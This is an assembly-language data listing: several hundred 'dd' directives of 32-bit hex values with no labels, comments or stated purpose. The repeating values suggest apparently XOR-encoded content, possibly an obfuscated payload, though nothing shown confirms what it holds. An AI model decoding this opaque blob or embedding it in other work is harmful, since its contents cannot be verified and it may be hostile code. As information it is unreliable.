dd 15E44B61h, 4D662232h, 7495D3B2h, 0EA99778Bh, 1574ADCDh
dd 0D7972232h, 0BC62FECh, 0C57B7DF5h, 0FCBE065Bh, 0CB347F66h
dd 9669D103h, 15668821h, 156BCD3Dh, 1D8F2232h, 0AA661132h
dd 0FD595657h, 1AE07E30h, 15662EBEh, 13E51E32h, 1A668832h
dd 156644B0h, 15DF7332h, 94661132h, 5A6AFDF3h, 94974501h
dd 5A6A57DBh, 4C679B01h, 0F1A20852h, 915D9DB3h, 25071CDCh
dd 156DF8FAh, 7DDA8832h, 0A57DC434h, 6E73A159h, 6DD429Ah
dd 56621660h, 4773AFB3h, 0CB4F26ACh, 1E8F7169h, 0E6668832h
dd 0B4A5B400h, 1D9477EBh, 0AA6966FBh, 2199E9F3h, 3162CFB5h
dd 1562E6B3h, 73061132h, 0FCC13A8Ch, 1566443Eh, 8B38E260h
dd 0DC168BF9h, 0C28184BDh, 1D8F8553h, 1561AE3Dh, 93691132h
dd 15668833h, 1561ADC7h, 53E72232h, 70B70314h, 0E0A7B9C2h
dd 24E34B78h, 7599DDCDh, 1563973Dh, 0EDD98832h, 0EC1EF458h
dd 9C367553h, 4DA198FAh, 0EC3970BBh, 1572C93Dh, 1A8F2232h
dd 88661132h, 34667D12h, 0C710D35Ch, 18B7E8A5h, 9236DFFCh
dd 0C791AC26h, 4D4250B5h, 13E42D52h, 1A661132h, 156688BAh
dd 0EBD94B32h, 905FD753h, 13CE3DCFh, 15F60C3Dh, 188F4432h
dd 5C662232h, 20CEC164h, 0A757DF7Ch, 0A3CF4F6h, 8CDE7264h
dd 9C18F464h, 8CDED0F4h, 2418A164h, 74067CC2h, 9069D139h
dd 1566881Dh, 156CCC3Dh, 94062232h, 75347DC5h, 74A70370h
dd 367C1F5h, 1567249Ah, 73061132h, 650D6AB3h, 15664DDBh
dd 0BE697732h, 4288321Bh, 94074E63h, 156640DEh, 315AAB32h
dd 810B08Dh, 0E389096Dh, 0D453DD7Dh, 0FAA721D5h, 0C4899030h
dd 0D44C1212h, 0E2E74CDDh, 15BF15A4h, 7539E833h, 366F848Ch
dd 75072548h, 1566A33Dh, 0FC361132h, 1566883Eh, 0F1267E5Eh
dd 0F5F35D60h, 8B9E2D85h
dd 469FE96Ch, 2D3DDE89h, 0C8EF771Eh, 4E3BF8BBh, 156682DBh
dd 13E67F32h, 787E825Ah, 44C48D86h, 990B248Bh, 73AFC57Fh
dd 9674D41Fh, 942710DBh, 388317DBh, 4CACCD15h, 1D8FD752h
dd 3C661132h, 4DA94EB9h, 74F208CFh, 9269429Fh, 15661130h
dd 0FC07D264h, 15664423h, 91EA3699h, 955D04F1h, 0DC6E034h
dd 0B7FAF05Fh, 0A4D3AB1Ah, 0ED60B928h, 7506E067h, 0D43B707Dh
dd 0D0E720D7h, 50F6E01Ch, 489AE6BBh, 0A9A22B3h, 945E8D35h
dd 51BFED74h, 73E7A788h, 3E7A44CEh, 0E900E31Bh, 0E910903Ah
dd 1D628832h, 0FB8879CBh, 9069CCDCh, 156611BCh, 0CE443652h
dd 92690A7Fh, 15662230h, 9407EFB9h, 0C8BB550Ch, 66E34BEFh
dd 75662232h, 156600DBh, 31841332h, 77666490h, 0F8A57E4Eh
dd 97E5339Ch, 65D34953h, 750E1653h, 9E2F4837h, 0D1E53526h
dd 0EEA40936h, 0D42A1037h, 0FFE724D8h, 1730E91Fh, 0E93C9EBBh
dd 1562FF61h, 0FBE72232h, 15CE2157h, 0D3E75633h, 15CE7457h
dd 0A0EFD769h, 13CE0B83h, 17E18752h, 75664432h, 74BFA953h
dd 154A11DBh, 14E58732h, 0E0664432h, 0EA98E4DBh, 0F9E5EDCDh
dd 31620136h, 0CD4240B3h, 4E7F5A02h, 25BEFAB3h, 1B8F914Ah
dd 6D664432h, 44BB4061h, 7F3042BEh, 0BC1CFE3Dh, 14E3773Fh
dd 0FC608A24h, 15661120h, 0C477CBEDh, 451E6458h, 654026F9h
dd 7C07CBD7h, 0DDA7D653h, 0DC63B831h, 3C78A875h, 0DCDD42E2h
dd 3C780275h, 1A061FEAh, 0F0ECDA85h, 5A6D053h, 75AEB9CEh
dd 0AB9ECF54h, 70134B04h, 1577F853h, 76F98832h, 0E762936Fh
dd 215B7F73h, 5826882Fh, 9C696452h, 0BD7045AFh, 9B69DE34h
dd 15661127h, 156698DBh, 535E232h, 62FC52C7h, 9A6B89BCh
dd 7F0882B2h, 15667905h, 96692233h, 15661302h, 2BE771CBh
dd 0AEDDFF89h, 1744A73Dh, 91691132h, 15668833h, 0AAD913CAh
dd 0D407A178h, 0AC3716DDh, 2492A517h, 5D8585B3h, 0F4E75DF1h
dd 6E8C49BDh, 946E61F3h, 2F5F59C3h, 0CD97A31Ch, 2448D9AFh
dd 2BEFD1FDh, 19EE4B6Dh, 75662232h, 622AAF54h, 0F7F878B3h
dd 46072555h, 1566265Ah, 0CB674A32h, 0E09AE869h, 0A4D3CD53h
dd 1A608A28h, 156631B7h, 58DCE832h, 0FD67627Fh, 15662221h
dd 0CD43540h, 272BA28Fh, 4FF35D68h, 21B06630h, 4B0A3F4Eh
dd 50FB0353h, 7560EC2Dh, 0FCBFF8B2h, 15661123h, 0E32A5F67h
dd 544E8A8Dh, 0B1DF6F89h, 546A8010h, 2699E905h, 2C4FF967h
dd 796754A0h, 4C3B1516h, 2C4F61B3h, 926932A0h, 1566223Ah
dd 0E3E77752h, 749AD319h, 74062452h, 156625DBh, 0A1710232h
dd 0CB88F0ECh, 16E64B53h, 73662232h, 4507C9B9h, 0D542A4B3h
dd 9E6CED36h, 0D1E50626h, 0D5A49036h, 756C2136h, 1560C23Dh
dd 93692232h, 15661132h, 4EB60363h, 75062453h, 0CFED43CBh
dd 39E74353h, 3333F816h, 3162CF72h, 1062E6B1h, 55404442h
dd 0ECE3A3CAh, 1A60EC13h, 156623B8h, 0F5A7E832h, 9D69E830h
dd 15664430h, 15DF7962h, 74041BD9h, 156682DBh, 0EB188832h
dd 0C5D883BCh, 16D394B2h, 0BD6FB1B7h, 156AAD34h, 0CD272232h
dd 0D72D0CACh, 1F399472h, 4336B391h, 964226B9h, 1A3815F6h
dd 156683B2h, 1560AD32h, 53E22232h, 0E52657B1h, 15636052h
dd 0CF4D4432h, 94676C45h, 51724FEDh, 0FC34D315h, 15664437h
dd 7BC64C12h, 0B8074F12h, 1567023Dh, 38934432h, 24AF7963h
dd 9B3F231Fh, 10AE8945h, 62E81D00h, 0DC3D7337h, 0AA697103h
dd 156C61E1h, 74D74432h, 1E2645A4h, 0F794666Ch, 51EF7053h
dd 94695816h, 15662233h, 996970CAh, 15668833h, 1647ADCAh
dd 0FD062232h, 15661123h, 0C9842BF5h, 3663AD09h, 937ADBD8h
dd 0F5454AC0h, 4C07E807h, 18F2453h, 5E662232h, 6740B736h
dd 9D5F903Eh, 9966EE5Bh, 5F91BD62h, 742ADDD1h, 94870163h
dd 156640F3h, 118FA132h, 49421DB5h, 1A4284BBh, 156645B8h
dd 9C30DA32h, 11A090D4h, 94668832h, 156640DCh, 3152A532h
dd 3172986Eh, 1563073Dh, 47064432h, 2407DB6Dh, 4F3571FBh
dd 4CB20264h, 88F3CF53h, 1A608A2Ch, 156617B2h, 0EBEDE832h
dd 2E0782B9h, 0DBE22D30h, 0FC661132h, 15668820h, 2738480Ah
dd 0C819E87Fh, 50CED11Eh, 0AB33B5F6h, 188FF50Eh, 9D662232h
dd 0D57741CCh, 923203D5h, 3F088E80h, 15629D65h, 0EF671132h
dd 9642B4B9h, 1F8F40F6h, 4B662232h, 520D75EBh, 32D69F8h
dd 14D91379h, 14662232h, 2E9E4ECBh, 0BD6DC9BFh, 89E34B34h
dd 0FC99DDCDh, 15661139h, 850F96D8h, 0B6C34748h, 424ADF4Ah
dd 1566118Dh, 9E9E0132h, 0D1E7600Eh, 15662236h, 0CEE77152h
dd 24C2DB33h, 74A6F33Dh, 156631DBh, 45B53632h, 0CC1889EEh
dd 994195F6h, 0B478107Bh, 735AD4DCh, 0BAEB0553h, 1A60EC7Dh
dd 15662CB8h, 156FF832h, 7FA38832h, 0B4F7356Eh, 0EA931B6Dh
dd 1FE21ED3h, 75668832h, 0DBE78AB9h, 281F7D8Eh, 68EB9853h
dd 7560203Ch, 6BC6FE54h, 156625DAh, 4702AB32h, 7E1F2ACDh
dd 15664EDAh, 7E286332h, 0BF878AA3h, 4C27D3FAh, 1ED256Ch
dd 0F2EF7516h, 1562D6B3h, 0D2E78832h, 15664436h, 49421EB5h
dd 316A9ACEh, 94830167h, 156640F7h, 11A3A332h, 92661132h
dd 0FC3AAC1Eh, 15664420h, 7C9C8340h, 200C25A6h, 0CF163DBAh
dd 0C92441BCh, 9C3360A9h, 11A390D7h, 94668832h, 156640DFh
dd 314AA532h, 3152986Eh, 1568053Dh, 0EC064432h, 156627DAh
dd 79917032h, 743C69B8h, 0A23D9B9h, 1F8F249Ah, 0CD661132h
dd 2900EB20h, 327745ABh, 9455DD7Eh, 754351Eh, 423FC985h
dd 0A274768Dh, 4A9F2373h, 15619B3Dh, 93698832h, 15664433h
dd 68E3A9C7h, 0ED60B93Ch, 946968E3h, 1566443Ah, 1564A23Dh
dd 74061132h, 0A9B0D31h, 128F429Ah, 0ED662232h, 0E140C1C6h
dd 0E3574944h, 1DED4BCBh, 75662232h, 1566933Dh, 45078832h
dd 21ED1C64h, 11A2A116h, 15679B3Dh, 739E8832h, 1576AD9Fh
dd 9A852232h, 0A3DB1C34h, 4DA82775h, 0CD03300h, 0F5A703CBh
dd 14EA1E30h, 0E0668832h, 1C5FC131h, 18F249Ah, 1661132h
dd 4C74B672h, 0ADD53F84h, 24C224F6h, 36557373h, 457CF54Ah
dd 3162CF64h, 4B62E6B1h, 0FCA49A52h, 1566883Fh, 0FB6F3F26h
dd 0D55CCEAFh, 0CC5D7D84h, 0FCCBE92Dh, 15664420h, 467E7473h
dd 0E94400B0h, 55C1B6FDh, 0A1BE8379h, 4D4B126Bh, 147E0A6Ch
dd 4DDFD9FAh, 147E5F6Ch, 198F7BFAh, 71661132h, 61FB4ECBh
dd 615CCCE6h, 0EAB97F69h, 94383506h, 15668CF6h, 0FCD12432h
dd 9607C387h, 0BD6CA08Fh, 91698934h, 156644FCh, 743F7552h
dd 249F9C09h, 91698E9Ah, 1566448Ch, 38EB19C7h, 1A60B93Fh
dd 156639B6h, 14E34B32h, 0EC662232h, 15661ADBh, 5502A832h
dd 1195C45Ch, 3D9DADBCh, 13FB9C09h, 91698E9Ah, 156644BCh
dd 11FBAFCBh, 7560BEEDh, 156680DBh, 0B86AF932h, 8860BD6Bh
dd 0C6997006h, 0DEA87CEh, 1A664432h, 156630BFh, 156BF832h
dd 2CA58832h, 11886E3h, 8C47C763h, 45AC4C4Eh, 4D313567h
dd 794F7C02h, 4A3B2616h, 4D31D6B3h, 9506B002h, 730693D4h
dd 8D40C3B3h, 9640E48Ah, 9C07E922h, 0BD6489B7h, 1577CB34h
dd 131A1132h, 94118B1Eh, 0D7DE15A3h, 471C2BADh, 0FCA33B17h
dd 156696C6h, 156AC43Dh, 98692232h, 15661134h, 15660F3Dh
dd 88EB4432h, 13C9FD36h, 156E903Dh, 1A068832h, 156644B7h
dd 0C6994332h, 1577F952h
dd 61928832h, 9D96359Fh, 0BD7AB954h, 5D7A2A73h, 1A43F2C8h
dd 156644B5h, 0AA007D32h, 1A0714DDh, 156689B1h, 0A8E5B132h
dd 13CE2883h, 47E21E32h, 0E0668832h, 44E37FCAh, 1A608A3Eh
dd 15660DB6h, 905D7132h, 13CE4967h, 1551A73Dh, 1A061132h
dd 156688B8h, 94001432h, 4CD37EE3h, 0EB91F853h, 1D8F77CDh
dd 2C664432h, 16B9AF83h, 0FC79D30Ah, 15668823h, 91EC6536h
dd 0D9643083h, 93E5174Fh, 155CA4DDh, 4E37FCEh, 1A608A32h
dd 156699B7h, 12E38732h, 75664432h, 4204D2B2h, 0A8E5706Ah
dd 13CEBBAFh, 21E24B32h, 75662232h, 15661ADBh, 0B14E3332h
dd 0B5C83F11h, 6D909D9Ch, 749FA63Dh, 23735B1h, 1A66429Ah
dd 15666EB6h, 19E01E32h, 0FC668832h, 15664435h, 0D0DA9B47h
dd 98E52CA0h, 0BA3123B7h, 1577AD34h, 0FF3B2232h, 0E40E1CA1h
dd 4A685A25h, 5A2ABA7Eh, 0FC49BA62h, 0EA99EF6Bh, 15686152h
dd 484D4432h, 0CF781FDDh, 0B719B8DEh, 2D042CCBh, 0DF1BFD54h
dd 4E31953h, 1A60B932h, 0EA98BCB6h, 68F24CDh, 25662232h
dd 4702ABA0h, 7E1F2ACDh, 0AEED0848h, 0A70C592Dh, 749E831Dh
dd 95CA35B1h, 1A67429Dh, 156660B7h, 0A206E832h, 905DE954h
dd 13C9C4D2h, 1557A73Dh, 48F1132h, 29668832h, 9DBCB62Dh
dd 0E4991542h, 15644Eh, 9740BE59h, 1E82C1BFh, 0FC9F226Bh
dd 0EA99EF3Dh, 1DE087CEh, 1A664432h, 156620B9h, 24077132h
dd 156961CDh, 0C10E4432h, 8BE8C7EEh, 63A158C9h, 0BC5A9EB0h
dd 0E8DBC71Dh, 15608A29h, 57F953Dh, 1C8F8832h, 1E664432h
dd 6B654750h, 0B0013059h, 95AA0D09h, 9069429Dh, 15662273h
dd 1572933Dh, 0A4068832h, 156DADB6h, 0EC362232h, 0A1898F68h
dd 0B4FB4A4h, 90ED25DCh, 13CE16F3h, 0A269ED52h, 429FE9C8h
dd 0EA4268B3h, 4A99DDCDh, 1FE11ECEh, 75668832h, 97691F61h
dd 15662232h, 0C1E32A53h, 1A6027B2h, 156601B7h, 90EDDE32h
dd 13CE1DFFh, 15686052h, 0F6C64432h, 0CB1C6F50h, 57267994h
dd 7FEC6F3Bh, 753E2552h, 749EA954h, 0EADB4453h, 3C9977CDh
dd 9B6919DDh, 15662220h, 15661CDBh, 0FE9C3332h, 0A56910E1h
dd 56B4A80Dh, 905DA9A8h, 13C908E2h, 1529C13Dh, 68F2232h
dd 74661132h, 77DEF9D7h, 0AA5EF276h, 0C4C2322h, 959BD5B7h
dd 90ED8D9Ah, 13CE50FFh, 119975CBh, 315A9A16h, 1A624CB1h
dd 156645B6h, 9C69DA32h, 1566112Bh, 15669CDBh, 198FE432h
dd 9EE2B60Bh, 0A21CCDA1h, 43B08E64h, 0B7E8A525h, 0CDE31940h
dd 1A60BEB2h, 1566ABB7h, 90EDBC32h, 13CE3423h, 156A913Dh
dd 9E698832h, 15664434h, 1566A33Dh, 0DAE11132h, 24A9B973h
dd 0EDA975CBh, 95BAA709h, 9069179Dh, 1566880Ah, 1567C63Dh
dd 759F2232h, 18B69054h, 9E07719Ah, 0BD4FC5B7h, 6E32D34h
dd 75661132h, 156683DAh, 0EF282A32h, 0EEA49E32h, 0F8B986AFh
dd 0AD36E96Ch, 0EA99BBCDh, 0E03EE51Bh, 95869409h, 90698E9Dh
dd 15664408h, 0A4E3A9CBh, 0FC60B92Bh, 15668826h, 0F0E95C60h
dd 0D39D7F6Dh, 6315510Dh, 0E22744F4h, 7B02D27Eh, 228B9961h
dd 0E6E75857h, 0A3FC4020h, 753D9B1Bh, 6C91A354h, 8DD97763h
dd 905DE9BAh, 13C9C4D6h, 155CA73Dh, 1C8F1132h, 7D668832h
dd 4C06441Ch, 0E7D47DE6h, 305794B9h, 9E698E9Ah, 15664434h
dd 75ACA952h, 0AC377053h, 0EA9977CDh, 1A3F8B1Bh, 156629B9h
dd 14D87132h, 7358EC3Eh, 74E40489h, 958EA709h, 9069179Dh
dd 1566887Bh, 156642DBh, 5B523A32h, 9E2AA7D2h, 0BD61E9B7h
dd 11E34B34h, 75662232h, 1A077052h, 156689BCh, 0AF34B132h
dd 15662233h, 1A3CC633h, 156690BFh, 7E14B32h, 0FC662232h
dd 1566113Fh, 3930B5C5h, 89706641h, 902871B6h, 0F9E32A41h
dd 1A6027B2h, 156614B7h, 1DEA2D32h, 1A661132h, 15668ABAh
dd 9E072432h, 0BD649FB7h, 739F7134h, 470758B9h, 15664588h
dd 4FB12332h, 0D7ED4652h, 0E4EDD968h, 9669256Ah, 1566222Fh
dd 1575F852h, 0AB48832h, 6C3372FAh, 382F53F6h, 0B86553F0h
dd 0C2B3FD24h, 0C5A0C4FEh, 0E5E31953h, 1A60BEB2h, 156690B7h
dd 90EDBC32h, 13CE3227h, 0AADB44C7h, 947F3C1Eh, 0A14AFADFh
dd 4889232Bh, 0EDE32ACBh, 1A6027B2h, 156600B7h, 90EDDB32h
dd 13CE16DBh, 156680DBh, 2ED90D32h, 84013F90h, 14D8476Dh
dd 14668832h, 48F1AC5h, 13662232h, 0DF097A5Eh, 0A11F6D2Bh
dd 97865EBAh, 0B0D6D762h, 15661DDBh, 5595F432h, 7BF3F115h
dd 0C691CCB1h, 0E1E32A12h, 1A6027B2h, 156600B7h, 969FDE32h
dd 0BD66488Fh, 90698834h, 15664407h, 156EAD3Dh, 9D691132h
dd 15668830h, 90ED2552h, 13CE2CBBh, 0E3E67152h, 744E3AFDh
dd 7491FB3Dh, 15679860h, 0C2671132h, 13E38768h, 75664432h
dd 0C08D9854h, 44DB9253h, 15602039h, 1531C03Dh, 1B8F2232h
dd 0CE661132h, 20B63123h, 1F124F34h, 0DB70F618h, 95E32A53h
dd 1A6027B3h, 15667CB7h, 0CCD74232h, 15661DDAh, 2C7AD232h
dd 3377DAB6h, 5B88CA89h, 4B077148h, 0F4E30353h, 0FC60EC33h
dd 15662239h, 2AD2571Dh, 0DA048D5Ch, 247A0976h, 249F13FDh
dd 0DAE150FDh, 1CDB0BCBh, 1560EC35h, 175CA63Dh, 969E1132h
dd 0BD7CCD8Fh, 91694434h, 1566201Eh, 15661BDBh, 6A8A7832h
dd 382726BDh, 2EF0CB38h, 0BAE775B7h, 3BE38734h, 0E9664432h
dd 8E7A7B9h, 9669179Ah, 15668833h, 0EADF15C7h, 3C99DDCDh
dd 0FC0648FDh, 1566883Fh, 4F4C5C35h, 4BFB2213h, 6E76A8E3h
dd 74BE0337h, 61E37FCAh, 1A608DB3h, 15664BB7h, 9369E832h
dd 15664430h, 0A4064352h, 51D2AE81h, 7407BEBCh, 1561C53Dh
dd 0A6062232h, 0D6ED77B4h, 0E30353h, 1A60EC2Dh, 15662ABDh
dd 17EF1E32h, 75668832h, 0EAD81253h, 3C99DDCDh, 48F4FC5h
dd 0E9668832h, 26ACED03h, 0A63652B9h, 53840CCDh, 95BCF2F3h
dd 1567C23Dh, 2E9E2232h, 0BAE779B7h, 56E38734h, 0FC664432h
dd 15662226h, 7C3F3E2Dh, 5C53BD7Bh, 0DD8562FBh, 0D2FC8228h
dd 990F1303h, 0A330DB9h, 9269429Ah, 15662237h, 8BB9152h
dd 0EADCDA53h, 3C99BBCDh, 1E8F78E5h, 0A6661132h, 0FDC85B97h
dd 489B5F59h, 905DB473h, 13C9904Ah, 153B0D3Dh, 48F4432h
dd 53662232h, 816ADF29h, 7FDF13FBh, 594445EAh, 3E53461h
dd 156617DBh, 806A0D32h, 9EFBBA4Dh, 0BD56F3B7h, 1DEB1E34h
dd 75668832h, 3AC4918Ah, 4307DB12h, 904E198Ch, 0DE880937h
dd 9473A312h, 0EB6464DCh, 0E4889044h, 940D133Ch, 119043C4h
dd 4B91233Fh, 15679E3Dh, 2E9A8832h, 0BAE738B7h, 3EE32D34h
dd 0FC661132h, 1566883Bh, 0EED1E5h, 3E09D000h, 0D0E39A89h
dd 75602001h, 0ECB69EB3h, 80DE7474h, 74510638h, 0EA993567h
dd 0FA4FBBCDh, 905DDE6Fh, 13C9905Eh, 155D0D3Dh, 75064432h
dd 156629DBh, 95778132h, 0A831F24Eh, 0DB5CBE3Ah, 1A077D62h
dd 156611B3h, 90EDE932h, 13CE4407h, 156628DBh, 64CE3D32h
dd 0A9B8D857h, 408375B2h, 1566238Fh, 48891032h, 65E3B3CAh
dd 1A60EBB3h, 156619B7h, 156CF832h, 0B6778832h, 0A8C19576h
dd 2CFC08EAh, 3BB394B9h, 48F8E9Ah, 53664432h, 0D01B27B9h
dd 74C9D13Bh, 919C8296h, 4C419093h, 0EA999A62h, 0D24FEECDh
dd 14ED876Ah, 0E0664432h, 0F239FB1h, 1A66179Ah, 156F6EB6h
dd 905DB132h, 13C9A2CEh, 1558943Dh, 9A698832h, 15664439h
dd 156624DBh, 82FAE632h
dd 9EADC3D6h, 0BD72C1B7h, 2E42D34h, 0FC661132h, 15668820h
dd 43FAEC03h, 0A93B847Fh, 79D4B83Bh, 0F52B4845h, 0AF344C8Dh
dd 0EA99DDCDh, 0E93CC61Bh, 94F60D09h, 9069429Dh, 15662257h
dd 1572F852h, 0CA188832h, 0B8A76738h, 0B13EE2CEh, 29E1FF61h
dd 43DF271Ah, 9E078FB2h, 0BD55FBB7h, 98697134h, 15668831h
dd 1A9CCF54h, 156634BCh, 1577F832h, 0D7FD8832h, 52B2C542h
dd 53E7509Fh, 70B70314h, 74C754C2h, 50F0FD63h, 0D42F0678h
dd 0E4E712DBh, 0EE103F7Fh, 753F8B1Bh, 1810F9B3h, 0E7ED02FEh
dd 15E3B353h, 1A60EBB3h, 156606B7h, 1568F832h, 83FC8832h
dd 1AB71878h, 0F7F198C5h, 0B8C692FAh, 176B0DB9h, 469A429Ah
dd 15662389h, 4EB91032h, 11E3B3CBh, 1A60EBB3h, 15666EB7h
dd 14E61E32h, 0EC668832h, 23FC1B9h, 9C69249Ah, 15661133h
dd 8D8DECEh, 53434B29h, 9465C4F3h, 6D4CF3D4h, 0C880967h
dd 9467C633h, 0E361E4DCh, 4B9110CCh, 15669CDBh, 5825FF32h
dd 1BFE5B83h, 4C96B9D7h, 1293D9F6h, 0F330932Dh, 1DE3194Dh
dd 1A60BEB3h, 1566B9B7h, 90EDB832h, 13CE0407h, 10E61E52h
dd 73668832h, 0F4478DB3h, 0AD3643CEh, 15661133h, 0FC3E4F33h
dd 1566443Fh, 0A9C1B832h, 13C81809h, 0DC33CECCh, 905DBC48h
dd 13C9A33Eh, 1517943Dh, 47068832h, 0FBFAFE54h, 13EB2D6Ch
dd 1A661132h, 156688B1h, 0A8E52532h, 13CE226Bh, 45E31E32h
dd 75668832h, 1565C13Dh, 9E002232h, 1577F8C8h, 955C8832h
dd 2A1D36FDh, 0C054149Dh, 0E6BACB9Ch, 7475E312h, 0E27C1B9h
dd 0FC06249Ah, 15661123h, 53E9ABEAh, 5A0E8FA6h, 0ACC66DAEh
dd 39CD3543h, 44077444h, 0B722398Bh, 9797A337h, 3C9C4C89h
dd 2E93D1FDh, 0BAE754B7h, 33E32D34h, 75661132h, 860978B3h
dd 749E5321h, 1E6FA7B9h, 439A179Ah, 0EA99778Ch, 4B916DCDh
dd 15662ADBh, 2CA5032h, 7A6E30D5h, 1E37F33h, 1A608DB3h
dd 15666EB7h, 1FE28732h, 75664432h, 0AEB5953Dh, 5B5DE875h
dd 4CDB0B53h, 1560EC32h, 1504A73Dh, 9E931132h, 0BD4CD5B7h
dd 1AEE4B34h, 0FC662232h, 15661138h, 0C548309Fh, 607446E2h
dd 1A06749Bh, 156612BDh, 0C4D98732h, 294596B3h, 46075425h
dd 15661089h, 4EB98932h, 16E74B52h, 1A662232h, 0AF00DE8Dh
dd 1A075258h, 156653BEh, 4EE2D32h, 0FC661132h, 1566883Eh
dd 7C7F0258h, 0C7EEFE3Bh, 0C3FC08FBh, 947E0D09h, 9069429Dh
dd 15662203h, 0C4E39ACAh, 75602006h, 4BA7CF65h, 74A69D3Dh
dd 1A01A863h, 0FCE78A37h, 17634B54h, 1A3FED33h, 15661DB8h
dd 13E88732h, 1A664432h, 156622B9h, 9E32A32h, 1A6027B3h
dd 156620B7h, 0EE62D32h, 75661132h, 15669CDBh, 5304F632h
dd 8E5C8B73h, 50F3E3C2h, 21AB3DDDh, 5FDE4DDFh, 90ED439Ch
dd 13CE3B93h, 156680DBh, 92FF5E32h, 0CEC30913h, 14DF400Fh
dd 14668832h, 0AC061DFDh, 5EFF8C5Bh, 7495AE3Dh, 15EB8752h
dd 0FD664432h, 15662239h, 449E34AAh, 622C5BF3h, 73F02A8Ch
dd 4E202889h, 31E32A53h, 1A6027B3h, 15661EB7h, 0CEC2D32h
dd 1A661132h, 15669BB1h, 1568AD32h, 0EE862232h, 0C8071749h
dd 71CEA1DCh, 0E5E1767Ah, 153F9FB1h, 1A66179Ah, 1566A6B7h
dd 4E74B32h, 0FC662232h, 1566113Eh, 5B62BB6Fh, 39E4A082h
dd 779BECDh, 344394B9h, 73068E9Ah, 74747F8Ah, 3162DD65h
dd 96422DB9h, 2E9A8CF6h, 0BAE764B7h, 65E32D34h, 0FC661132h
dd 1566883Dh, 95750173h, 0D9BFD4DCh, 0E7FE8C70h, 96C6AABFh
dd 0BD661D8Fh, 90692234h, 1566117Dh, 0DBEDEE52h, 156CAD61h
dd 29AE2232h, 0B8C9AD29h, 74A2E138h, 0EC06256Dh, 156628DAh
dd 1648AC32h, 2C16224Bh, 4E9C04C2h, 88E3A953h, 0FC60B929h
dd 1566883Bh, 19007705h, 0C5C6129Eh, 24B92000h, 56B9B9C9h
dd 0AE069BB5h, 346596CCh, 2E9E70C7h, 0BAE7A0B7h, 51E34B34h
dd 0FC662232h, 1566113Dh, 8088F911h, 0DF0DAD7Bh, 5A2ED59Fh
dd 9EAF2A4Eh, 0BD4C45B7h, 1577AD34h, 241D2232h, 0C056B65Ch
dd 6B48B696h, 94C71FDAh, 0ECA6D3A9h, 1567A863h, 0DA678832h
dd 1563AD6Bh, 0C8E92232h, 2E9D988Eh, 0BAE7A4B7h, 57E34B34h
dd 0FC662232h, 15661122h, 6A828324h, 69A51945h, 5561E1Dh
dd 43A60B5Ah, 398B0DB9h, 18F429Ah, 42662232h, 8595DDAAh
dd 0D4665D36h, 0C0783ADEh, 432FFA10h, 4653B9E2h, 0EA997789h
dd 4EB96DCDh, 98B0A252h, 25E32A53h, 1A6027B3h, 156668B7h
dd 19EB2D32h, 0FC661132h, 15668835h, 0FCBB2EBEh, 9E24A795h
dd 0BD71D8B7h, 0AE357134h, 15664433h, 0FC3DFD33h, 15661137h
dd 8410CC90h, 21E37F4Ah, 1A608DB3h, 156660B7h, 1DEA8732h
dd 75664432h, 1AB9CBB2h, 0FC07C085h, 1566883Ah, 7F63E2B7h
dd 92B04B2Eh, 1B394B9h, 188F8E9Ah, 49664432h, 1C53D75Dh
dd 784634E2h, 1C1E87BEh, 3069FE60h, 572C3EC8h, 1290DBB3h
dd 0CF918C4Ch, 78638EB3h, 0D7E722BAh, 91013C8h, 1A3C5F1Bh
dd 15665DBFh, 1572CB32h, 257F1132h, 0A7B18325h, 566ED8C8h
dd 0A56E61BAh, 738C5F6Ch, 905D99A7h, 13C9C50Ah, 1549A73Dh
dd 9E931132h, 0BD6FFDB7h, 4331BC34h, 92207C6Dh, 986971C5h
dd 15668832h, 156654DAh, 0C512832h, 0FA05C07Ah, 0DDD01C11h
dd 0BDFC5725h, 4F3F748Dh, 29E32A53h, 1A6027B3h, 15666FB7h
dd 90EDDE32h, 13CE35DBh, 15668DDBh, 0A5BB7F32h, 4331746Fh
dd 92204F6Dh, 156861C5h, 4E024432h, 2BD334DFh, 0C3EB6F7Fh
dd 621BA7F1h, 9426C109h, 9069249Dh, 1566110Dh, 156683DBh
dd 15EB9C32h, 90208C7Bh, 0A52B0109h, 13270DB9h, 0FD06429Ah
dd 15662237h, 0A52DEAA2h, 4E07E809h, 64E8EB3h, 42071692h
dd 9E4215CDh, 0D1E5AC0Eh, 94002436h, 958E03FBh, 2E0771C1h
dd 0BAE7CCB7h, 3EE34B34h, 0FC662232h, 15661135h, 18B742A5h
dd 9E2F8AFCh, 0BD553FB7h, 73357134h, 4D3A7689h, 2ADA8CB3h
dd 40072312h, 0EA99EE8Fh, 4889A1CDh, 905DB8C7h, 13CE16A3h
dd 152A943Dh, 18F8832h, 96664432h, 3A89FD7Bh, 497590DBh
dd 4D6F45FAh, 0D5629915h, 9E39A9A2h, 0BD64F8B7h, 156A6134h
dd 98084432h, 71641874h, 32B68A68h, 0AC37F177h, 15664433h
dd 1A3FED33h, 15661CB8h, 156E6132h, 2F1F4432h, 0ADB47379h
dd 905DE8FFh, 13C9097Ah, 152DC13Dh, 9B692232h, 15661134h
dd 75950352h, 90ED2553h, 13CE3337h, 15661CDBh, 2F8CA232h
dd 1F11A2ECh, 117BA379h, 0AE35B8B2h, 15668833h, 753D9B33h
dd 1560A93Dh, 95691132h, 15668832h, 15664FDBh, 82BE2232h
dd 0DFFCF402h, 0CEF1F174h, 91E37F53h, 1A608DB3h, 156673B7h
dd 156F6132h, 0A4E94432h, 0D03B7B39h, 75A9E41Bh, 54FB9C8Bh
dd 0A8E52536h, 13C9A3BEh, 35E31E32h, 1A668832h, 156648B5h
dd 13E92D32h, 1A661132h, 156688B5h, 0A4DBC732h, 15608A38h
dd 1547953Dh, 9E9F8832h, 0BD5775B7h, 0A833DA34h, 5DD3161h
dd 0F8E755C5h, 0FA229B9Eh, 753BCD33h, 0FBE777CEh, 2E07E70Fh
dd 0BAE7CCB7h, 6EE32D34h, 75661132h, 156686DAh, 0A1031932h
dd 37622526h, 0A2A1D183h, 7536F3AFh, 0D4ED1D53h, 99DBA153h
dd 1560BEB3h, 15420D3Dh, 9F694432h, 15662235h, 1567943Dh
dd 969A8832h, 0BD6CF58Fh, 91692234h, 15661108h, 15668DDBh
dd 0BFEBCE32h, 90ED47FEh, 13CE3787h, 1564053Dh, 74064432h
dd 11A99C52h, 749F30BFh
dd 0EA993062h, 0D24FBBCDh, 156ECB6Ah, 211C1132h, 4DE6C552h
dd 9E06BC56h, 905D43F5h, 13C9907Eh, 152F0D3Dh, 73064432h
